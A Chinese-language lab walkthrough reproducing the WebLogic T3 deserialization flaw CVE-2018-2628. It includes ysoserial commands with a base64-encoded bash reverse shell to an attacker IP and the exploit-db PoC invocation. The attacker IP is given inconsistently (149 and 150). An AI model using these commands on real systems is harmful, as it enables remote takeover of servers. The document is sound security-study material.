Weblogic T3 CVE-2018-2628漏洞复现
一、前置知识
1.漏洞原理
T3协议的反序列化漏洞原理在于,WebLogic服务器在接收并处理T3协议序列化数据时,会进行反序列化操作。如果攻击者能够构造出恶意的T3协议序列化数据,这些数据在反序列化过程中可能会被转换为恶意对象,进而执行任意代码或命令。这通常涉及到Java虚拟机的远程方法调用(RMI)机制,攻击者可以利用这一机制在本地虚拟机上调用远端代码。
2.weblogic简介
开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。
3.RMI协议
RMI(Remote Method Invocation)即远程方法调用。它能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输。
4.T3协议
T3是WebLogic自有的高性能RMI(远程方法调用)协议,用于在WebLogic集群节点间传输数据。它可以传输序列化对象。
5.影响版本:
10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
6.WebLogic T3反序列化漏洞总结
WebLogic T3反序列化漏洞从利用方式来划分可以分为前后期,前期直接通过T3协议发送恶意反序列化对象,后期为利用T3协议配合JRMP或JNDI接口反向发送反序列化数据。
二、漏洞复现
靶机:192.168.112.152
攻击机:192.168.112.149
环境启动
物理机访问192.168.112.152:7001/console,出现如下页面代表启动成功,左下角可以看到weblogic的版本为10.3.6.0
使用Zenmap对192.168.112.152进行端口扫描。
nmap -T4 -A -v 192.168.112.152
然后发现存在Weblogic服务,并且Weblogic版本为10.3.6,然后T3协议开放,那么就可能存在T3协议反序列化漏洞!
接下来攻击机192.168.112.150监听4000端口,执行如下指令:
nc -nlvp 4000
接下来需要一个ysoserial工具,这里下载然后拖入攻击机便可。
# 百度网盘下载
链接:https://pan.baidu.com/s/1vKXUOe9aGUwetszdQw_ysw?pwd=de7l
提取码:de7l
攻击机192.168.112.150再次打开第二个终端,执行指令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}"
指令格式为:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "指令"
##这是使用 ysoserial 工具启动一个 JRMP 监听器,攻击机监听端口为随意设置别冲突即可,用于 Java 反序列化漏洞利用,后面的指令如果要反弹shell的话需要进行相应的base64编码,
如bash -i >& /dev/top/192.168.112.150/4000 0>&1
进入这个网站https://ares-x.com/tools/runtime-exec,将反弹shell语句输入到上面,下面的结果就是编码之后的,我们直接把它放入"指令"部分
成功之后如图所示
随后,我们打开攻击机192.168.112.150的第三个终端,输入指令
python2 44553.py 192.168.112.152 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.112.150 3333 JRMPClient
指令格式为:
python2 44553.py 靶机ip 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 攻击机ip 3333 JRMPClient
##其中44553.py是本题poc,这里https://www.exploit-db.com/exploits/44553下载便可,然后拖入我们的攻击机192.168.112.150。
##3333端口为我们攻击机JRMP监听的端口。
随后我们就发现攻击机监听4000端口的地方成功拿到了靶机的shell,输入ls指令结果如下:
总结:
CVE-2018-2628 是一个 WebLogic T3 反序列化漏洞。它的特别之处在于它是一种 JRMP Client 攻击。攻击者不是直接发送完整的恶意代码,而是发送一个 JRMPClient
的 payload,这个 payload 在服务器反序列化后,会迫使服务器主动连接攻击者控制的恶意 RMI 服务。攻击者通过这个 RMI 服务将一个远程的恶意类引用返回给服务器,服务器会再从这个引用指定的地址下载并执行恶意类,从而完成远程代码执行。